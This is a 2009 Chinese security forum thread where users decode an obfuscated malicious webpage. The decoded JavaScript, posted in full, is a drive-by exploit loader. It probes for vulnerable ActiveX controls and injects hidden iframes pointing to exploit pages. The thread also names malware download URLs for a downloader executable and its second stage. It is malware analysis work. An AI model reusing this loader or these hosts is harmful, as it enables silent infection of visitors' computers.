求解密步骤有代码. http://f.9u5trf.cn/d1/05/google.htm

显示全部楼层 · 发表于 2009-3-30 17:11:25

<hTmL><hEaD><Meta Name=Encoder Content=HTMLSHIP>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><sCrIpT lAnGuAgE="jAvAsCrIpT"></sCrIpT></hEaD><boDY><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></bOdY></hTmL>

显示全部楼层 · 发表于 2009-3-30 17:26:38

http://bbs.kafan.cn/thread-450652-1-1.html看看此帖就行.

显示全部楼层 · 发表于 2009-3-30 17:48:13

解密后网页如下:

Decode.zip (1.88 KB, 下载次数: 48)

显示全部楼层 · 发表于 2009-3-30 18:34:11

document.writeln("<iframe src=all.htm width=100 height=0>
还没完呢

显示全部楼层 · 发表于 2009-3-30 23:56:37

all.htm跟那个加密方式一样
解密得：

.............
<script>
window.status="\x8C\x5B\x10\x62";
window.onerror=function(){return true;}
if(document.cookie.indexOf("iloveyou=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="iloveyou=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=1.htm></iframe>");
document.write("<iframe width=20 height=0 src=kc.htm></iframe>");
try{var f;
var gw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=newlz.htm></iframe>");}}
try{var m;
var hw=new ActiveXObject("Downlo"+"ader.DL"+"oader.1");}
catch(m){};
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=s.htm></iframe>");}}
try{var n;
var hl=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("<iframe width=100 height=0 src=office.htm></iframe>");}}
try{var b;
var hh=new ActiveXObject("MP"+"S.S"+"tor"+"mPl"+"ayer");}
catch(b){};
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=bf.htm></iframe>");}}
try{var o;
var mm=new ActiveXObject("Pdg2");}
catch(o){};
finally{if(o!="[object Error]"){document.write("<iframe width=100 height=0 src=cx.htm></iframe>");}}
try{var k;
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1")}
catch(k){};
finally{if(k!="[object Error]"){document.write("<iframe width=100 height=0 src=uu.htm></iframe>");}}
try{var ffffffff;
var ourgame=new ActiveXObject("\x48\x61\x6e\x47"+"\x61\x6d\x65"+"\x50\x6c\x75"+"\x67\x69\x6e"+"\x43\x6e\x31\x38\x2e"+"\x48\x61\x6e\x47\x61\x6d\x65\x50\x6c\x75\x67\x69\x6e\x43\x6e\x31\x38\x2e\x31");}
catch(ffffffff){};
finally{if(ffffffff!="[object Error]")
{document.write("<iframe width=0 height=0 src=2.htm></iframe>");}}
function caocaoks()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=1 src=3.htm></iframe>");
else
document.write("<iframe width=100 height=1 src=4.htm></iframe>");
}
caocaoks();
document.write("<iframe width=20 height=0 src=0.htm></iframe>");
if(navigator.userAgent.toLowerCase().indexOf("msie 7")!=-1)
document.write("<iframe src=5.htm width=100 height=0></iframe>");
}
</script>

复制代码

剩下的不详细解了，下载者地址是：h**p://d1.741239.com/01/g.exe
g.exe 按照h**p://g.sf2652.com/xfz.txt下载恶意程序
拉灯睡觉

[ 本帖最后由 will 于 2009-3-31 01:01 编辑 ]

[已鉴定] 求解密步骤有代码. http://f.9u5trf.cn/d1/05/google.htm

回复 3楼 will 的帖子

回复 4楼 lichun005 的帖子

[已鉴定] 求解密步骤 有代码. http://f.9u5trf.cn/d1/05/google.htm

回复 3楼 will 的帖子

回复 4楼 lichun005 的帖子

[已鉴定] 求解密步骤有代码. http://f.9u5trf.cn/d1/05/google.htm